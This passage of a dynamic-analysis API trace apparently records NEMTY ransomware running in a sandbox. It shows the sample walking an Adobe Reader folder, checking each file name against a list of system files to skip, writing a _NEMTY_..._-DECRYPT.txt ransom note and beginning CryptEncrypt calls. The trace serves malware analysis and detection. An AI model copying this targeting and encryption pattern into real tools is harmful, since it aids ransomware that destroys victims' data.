hHeap=0x4f90000) returned 1 [0171.805] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a052770, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a052770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a052770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.806] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.807] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a052770, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a052770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a052770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.807] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.807] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NLD", cAlternateFileName="")) returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2=".") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="..") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="...") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="windows") returned -1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="$RECYCLE.BIN") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="rsa") returned -1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="NTDETECT.COM") returned -1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="ntldr") returned -1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="MSDOS.SYS") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="IO.SYS") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="boot.ini") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="boot.ini") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="AUTOEXEC.BAT") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="ntuser.dat") returned -1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="desktop.ini") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="CONFIG.SYS") returned 1 [0171.807] lstrcmpiW (lpString1="NLD", lpString2="RECYCLER") returned -1 [0171.808] lstrcmpiW (lpString1="NLD", lpString2="BOOTSECT.BAK") returned 1 [0171.808] lstrcmpiW (lpString1="NLD", lpString2="bootmgr") returned 1 [0171.808] lstrcmpiW (lpString1="NLD", lpString2="programdata") returned -1 [0171.808] lstrcmpiW (lpString1="NLD", lpString2="appdata") returned 1 [0171.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NLD", lpUsedDefaultChar=0x0) returned 3 [0171.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NLD", lpUsedDefaultChar=0x0) returned 3 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.809] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.809] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.810] CloseHandle (hObject=0x254) returned 1 [0171.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.814] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.814] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.814] CloseHandle (hObject=0x254) returned 1 [0171.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a0c4b90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a0c4b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.815] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.815] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a0c4b90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a0c4b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.815] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.815] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.815] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10929, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.815] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.816] Sleep (dwMilliseconds=0x5) [0171.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a110e50, dwHighDateTime=0x1d561e8)) [0171.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a110e50, dwHighDateTime=0x1d561e8)) [0171.832] GetLastError () returned 0xb7 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.832] GetLastError () returned 0xb7 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.832] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.832] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, 